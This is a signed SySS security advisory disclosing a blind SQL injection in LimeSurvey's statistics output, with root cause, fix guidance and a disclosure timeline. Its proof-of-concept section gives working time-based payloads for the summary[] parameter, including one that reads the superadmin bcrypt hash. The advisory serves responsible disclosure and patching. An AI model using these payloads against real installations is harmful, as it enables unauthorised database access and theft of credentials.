-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 Advisory ID: SYSS-2026-090 Product: LimeSurvey Community Edition Manufacturer: LimeSurvey GmbH Affected Version(s): 7.0.14 (build 7.0.14+260904), 7.1.0 (build 7.1.0+260913), and 7.3.0 (build 7.3.0+260922); the affected code path is present in earlier releases and was not verified there Tested Version(s): 7.0.14 (build 7.0.14+260904), 7.1.0 (build 7.1.0+260913), 7.3.0 (build 7.3.0+260922) Vulnerability Type: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (CWE-89) Risk Level: High Solution Status: Fixed Manufacturer Notification: 2026-09-30 Solution Date: 2026-10-01 Public Disclosure: 2026-10-30 CVE Reference: None (not yet assigned) Author of Advisory: Henry Weckermann, SySS GmbH ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview LimeSurvey is a web application for creating and running online surveys. The manufacturer describes the product as follows (see [1]) "LimeSurvey is the simple, quick and anonymous online survey tool that's bursting with juicy insights. Calling students, professional researchers and enterprises: design a survey and get the best insights, it's free and as easy as squeezing a lime. Make a free online survey now!" The multiple-choice branch of the statistics output builder derives a response-table column name directly from the attacker-controlled request parameter summary[] and feeds it, unvalidated, into a count(*) query through the unsafe Yii function quoteColumnName(). An authenticated user who holds the "statistics" read permission on a single survey can perform a blind read of the entire application database, including every user's bcrypt password hash. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability Details The sink is in the multiple-choice else branch of displayResults(): application/helpers/admin/statistics_helper.php:2432 "... WHERE " . Yii::app()->db->quoteColumnName($al[2]) . " = '$encryptedValue'" The value $al[2] is built for M and P (multiple-choice) questions at: application/helpers/admin/statistics_helper.php:676 / :682 $mfield = substr($rt,1) . "_S" . $row['qid']; $rt is an element of the summary[] request parameter, passed untouched from run() into the output builder: application/controllers/admin/Statistics.php:472 (run) -> generate_html_chartjs_statistics() -> buildOutputList() -> displayResults() The PDF and XLS export paths (Statistics.php:475 and :479) reach displayResults() as well. The root cause is that MysqlSchema::quoteSimpleColumnName() wraps identifiers in backticks without escaping embedded backticks. In buildOutputList() the text (T/S), multi-short-text (Q), numeric (N/K/:) and ranking (R) branches each validate the field against the survey field map (array_key_exists($col,$fieldmap), then reject). The multiple-choice (M/P) branch does not: it derives the column as substr($rt,1) . "_S" . from the raw summary[] value. Two facts let a malformed $rt reach the sink: - - The parent question is resolved with qid=:qid bound from substr($rt,2). The qid column is of type INT, so MySQL casts the bound string "48" to 48; the lookup still succeeds and $al[2] is populated. - - The FROM clause already precedes the injection point (... FROM {{responses_NNN}} WHERE = 'Y'), so a backtick breakout plus a "-- " comment yields a valid WHERE injection without rebuilding FROM. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Proof of Concept (PoC) The following was verified live against LimeSurvey 7.0.14, executed as the account "surveycreator" (owner of the target survey). The examples target question Q48, which has five subquestions; substitute a multiple-choice question ID from the target survey (M plus qid, for example MQ48; the injected subfield is _S). Entry point: POST /index.php/admin/statistics/sa/index/surveyid/ outputtype=html summary[]= Raw values of summary[] (URL-encoded on the wire): baseline : MQ48 sleep (per row) : MQ48_S206` OR (id=1 AND SLEEP(2))-- - control (SLEEP 0) : MQ48_S206` OR (id=1 AND SLEEP(0))-- - Resulting SQL, executed once per subquestion: SELECT count(*) FROM lime_responses_82556 WHERE `Q48_S206` OR (id=1 AND SLEEP(2))-- -_S206` = 'Y' Measured wall-clock time: baseline MQ48 1.36s HTTP 200 OR (id=1 AND SLEEP(2)) (5 subq x 2s) 12.29s HTTP 500 control OR (id=1 AND SLEEP(0)) 0.79s HTTP 500 Cross-table read of the superadmin bcrypt hash, proving out-of-scope access. A bcrypt hash starts with the character '$' (0x24): MQ48_S206` OR (id=1 AND (SELECT SLEEP(2) FROM lime_users WHERE uid=1 AND SUBSTRING(password,1,1)=0x24))-- - -> 12.29s TRUE MQ48_S206` OR (id=1 AND (SELECT SLEEP(2) FROM lime_users WHERE uid=1 AND SUBSTRING(password,1,1)=0x40))-- - -> 0.65s FALSE Stacked statements are not available through the queryScalar path, so a direct database write was not demonstrated. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution - - Validate $rt, and the derived column $al[2], against the survey field map before use, exactly as the T/S, N/K/:, Q and R branches already do. Apply the same check to the file-upload ("|") branch. - - Either make quoteSimpleColumnName() escape embedded backticks, for example str_replace('`', '``', $name), or resolve every response-table column exclusively through a server-built allowlist (the survey field map or getTableSchema()->columnNames) and never from request-derived strings. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclosure Timeline 2026-09-30: Vulnerability reported to the manufacturer 2026-10-01: Patch released by manufacturer 2026-10-30: Public disclosure of vulnerability ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ References [1] Product website, LimeSurvey Community Edition https://www.limesurvey.org/ [2] SySS Security Advisory SYSS-2026-090 https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2026-090.txt [3] SySS GmbH, SySS Responsible Disclosure Policy https://www.syss.de/en/responsible-disclosure-policy ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Credits This security vulnerability was found by Henry Weckermann of SySS GmbH. E-Mail: henry.weckermann (at) syss.de Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Henry_Weckermann.asc Key fingerprint = 716D DC05 47A5 08B5 F348 6ED6 7FB4 16F5 EDE2 6AF3 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclaimer The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The latest version of this security advisory is available on the SySS website. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Copyright: Creative Commons - Attribution (by) - Version 4.0 URL: https://creativecommons.org/licenses/by/4.0/deed.en -----BEGIN PGP SIGNATURE----- iQIzBAEBCgAdFiEEcW3cBUelCLXzSG7Wf7QW9e3iavMFAmrhxokACgkQf7QW9e3i avMR9A//THLNbohXoMk6wfruHH1GjeXKWY/d9Y5hHekJBKTbeuFW99Z7lsawlHYx RmFlczfqVBl+cyFNcnfdxPOZS2P27GGSeSW9i+kmAThe7+Sz6A8BpBpyQM56B9ok pUCptDIfveYl5a6rzYYPH2Y+elofRwjyi+z2oQmm1s70kpqFahEbLY8XpTTqU6tS jXhPC0WZPXIGxQ4gGYI2f4Vcea0wppjCSH8ioVbLSuyBCPT1kY3uF/LNYfCuQOiL kFrJYWvGDQM4yZq/GYTK7vM8bf/JDomCXcEGVI8ZbDmPu/ko31tmen/0+iDLWR3H LstTkJp5TlDmjzMG9GWspjSZnpuS6NGg/8znZq77JecyaWPh6iFJ546MqZX7HOES g6OjVJPZ5KvZyUFevAqG7w3xcaf32wdkoUJRp+vlIrKsgYB/b6YNbSeNT8lWMd48 gsluy6z176choZTs+EluuC9U2GSDmj6DjsoHRRBHDERr1fyoOayOLtgHmdKlQ42X R9w/58uRELea1Z8IkAQTBF+6XjuqQ+VAL5MG7fpTSiZ6lIliuyeRKvseHPRKVpBc QsAet/wnYNda/j0MZsrbVYqI1FdPYgZS2mAi2EQ7HbytYpktuYH6btVI9GpSXXTE wwa5UGFC9m1rNThHT3V3dAb3xZfypsbv5OQtKT1oB1Ku5uMcTII= =LpJZ -----END PGP SIGNATURE-----